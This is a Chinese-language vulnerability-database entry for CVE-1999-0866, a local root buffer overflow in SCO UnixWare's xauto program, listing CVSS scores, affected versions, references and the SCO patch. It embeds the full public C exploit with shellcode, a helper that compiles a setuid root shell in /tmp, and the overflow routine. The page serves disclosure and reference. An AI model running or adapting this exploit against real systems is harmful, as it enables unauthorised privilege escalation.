CVE-1999-0866
CVSS7.2
发布时间 :1999-12-03 00:00:00
修订时间 :2016-10-17 21:59:50
NMCOE    

[原文]Buffer overflow in UnixWare xauto program allows local users to gain root privilege.


[CNNVD]SCO UnixWare 'xauto'缓冲区溢出漏洞(CNNVD-199912-027)

        UnixWare的xauto程序存在缓冲器溢出漏洞。本地用户可以利用该漏洞获得root权限。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:sco:unixware:7.0
cpe:/o:sco:unixware:7.1
cpe:/o:sco:unixware:7.1.1
cpe:/o:sco:unixware:7.0.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0866
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0866
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199912-027
(官方数据源) CNNVD

- 其它链接及资源

ftp://ftp.sco.com/SSE/security_bulletins/SB-99.24a
(UNKNOWN)  SCO  SB-99.24a
http://marc.info/?l=bugtraq&m=94530783815434&w=2
(UNKNOWN)  BUGTRAQ  19991215 Recent postings about SCO UnixWare 7
http://marc.info/?l=bugtraq&m=94581379905584&w=2
(UNKNOWN)  BUGTRAQ  19991220 SCO OpenServer Security Status
http://marc.info/?l=bugtraq&m=94606167110764&w=2
(UNKNOWN)  BUGTRAQ  19991223 FYI, SCO Security patches available.
http://www.securityfocus.com/bid/848
(UNKNOWN)  BID  848

- 漏洞信息

SCO UnixWare 'xauto'缓冲区溢出漏洞
高危 缓冲区溢出
1999-12-03 00:00:00 2005-05-02 00:00:00
本地  
        UnixWare的xauto程序存在缓冲器溢出漏洞。本地用户可以利用该漏洞获得root权限。

- 公告与补丁

        SCO has released a patch for this problem available at the location below:
        http://www.sco.com/security
        Patch ID:
        SSE047

- 漏洞信息 (19656)

SCO Unixware 7.0/7.0.1/7.1/7.1.1 'xauto' Buffer Overflow Vulnerability (EDBID:19656)
sco local
1999-12-03 Verified
0 Brock Tellier
N/A [点击下载]
source: http://www.securityfocus.com/bid/848/info

Certain versions of SCO's UnixWare ship with a version of /usr/X/bin/xauto which is vulnerable to a buffer overflow attack which may result in an attacker gaining root privileges.

This is exploitable to gain root privileges even though /usr/X/bin/xauto is not setuid root. This is due to a system design issue with SCO Unixware which is discussed in an attached message in the 'Credit' section titled "UnixWare 7 uidadmin exploit + discussion". 

/**
 ** UnixWare 7.1 root exploit for xauto
 ** Note that xauto is NOT suid or sgid but gains it's privs from
 ** /etc/security/tcb/privs.  For more info, consult intro(2) =

 ** and fileprivs(1)
 ** =

 **
 ** Brock Tellier btellier@usa.net
 **/ =



#include <stdlib.h>
#include <stdio.h>

char scoshell[]=3D /* UnixWare 7.1 shellcode runs /tmp/ui */
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/tmp/ui\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";

                       =

#define EGGLEN 2048
#define RETLEN 5000
#define ALIGN 0
#define NOP 0x90
#define CODE "void main() { setreuid(0,0); system(\"/bin/sh\"); }\n"

void buildui() {
  FILE *fp;
  char cc[100];

  fp =3D fopen("/tmp/ui.c", "w");
  fprintf(fp, CODE);
  fclose(fp);
  snprintf(cc, sizeof(cc), "cc -o /tmp/ui /tmp/ui.c");
  system(cc);

}

int main(int argc, char *argv[]) {
  =

  long int offset=3D0;
  =

  int i;
  int egglen =3D EGGLEN;
  int retlen;
  long int addr;
  char egg[EGGLEN];
  char ret[RETLEN];
  // who needs __asm__?  Per Solar Designer's suggestion
  unsigned long sp =3D (unsigned long)&sp; =


  buildui();
  if(argc > 3) {
    fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
    exit(0); =

  }
  else if (argc =3D=3D 2){
    offset=3Datoi(argv[1]);
    retlen=3DRETLEN;
  }
  else if (argc =3D=3D 3) {
    offset=3Datoi(argv[1]);
    retlen=3Datoi(argv[2]); =

  }
  else {
    offset=3D9400;
    retlen=3D2000;
    =

  }
  addr=3Dsp + offset;
  =

  fprintf(stderr, "UnixWare 7.x exploit for the non-su/gid
/usr/X/bin/xauto\n");
  fprintf(stderr, "Brock Tellier btellier@usa.net\n");
  fprintf(stderr, "Using offset/addr: %d/0x%x\n", offset,addr);
  =

  memset(egg,NOP,egglen);
  memcpy(egg+(egglen - strlen(scoshell) - 1),scoshell,strlen(scoshell));
  =

  for(i=3DALIGN;i< retlen-4;i+=3D4)
    *(int *)&ret[i]=3Daddr;  =

  =

  memcpy(egg, "EGG=3D", 4);
  putenv(egg);

  execl("/usr/X/bin/xauto", "xauto","-t", ret, NULL); =

  =

}
		

- 漏洞信息

9330
SCO UnixWare xauto Local Overflow
Local Access Required Input Manipulation
Loss of Integrity Patch / RCS
Exploit Public Vendor Verified

- 漏洞描述

- 时间线

1999-12-01 Unknow
1999-12-01 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, SCO has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站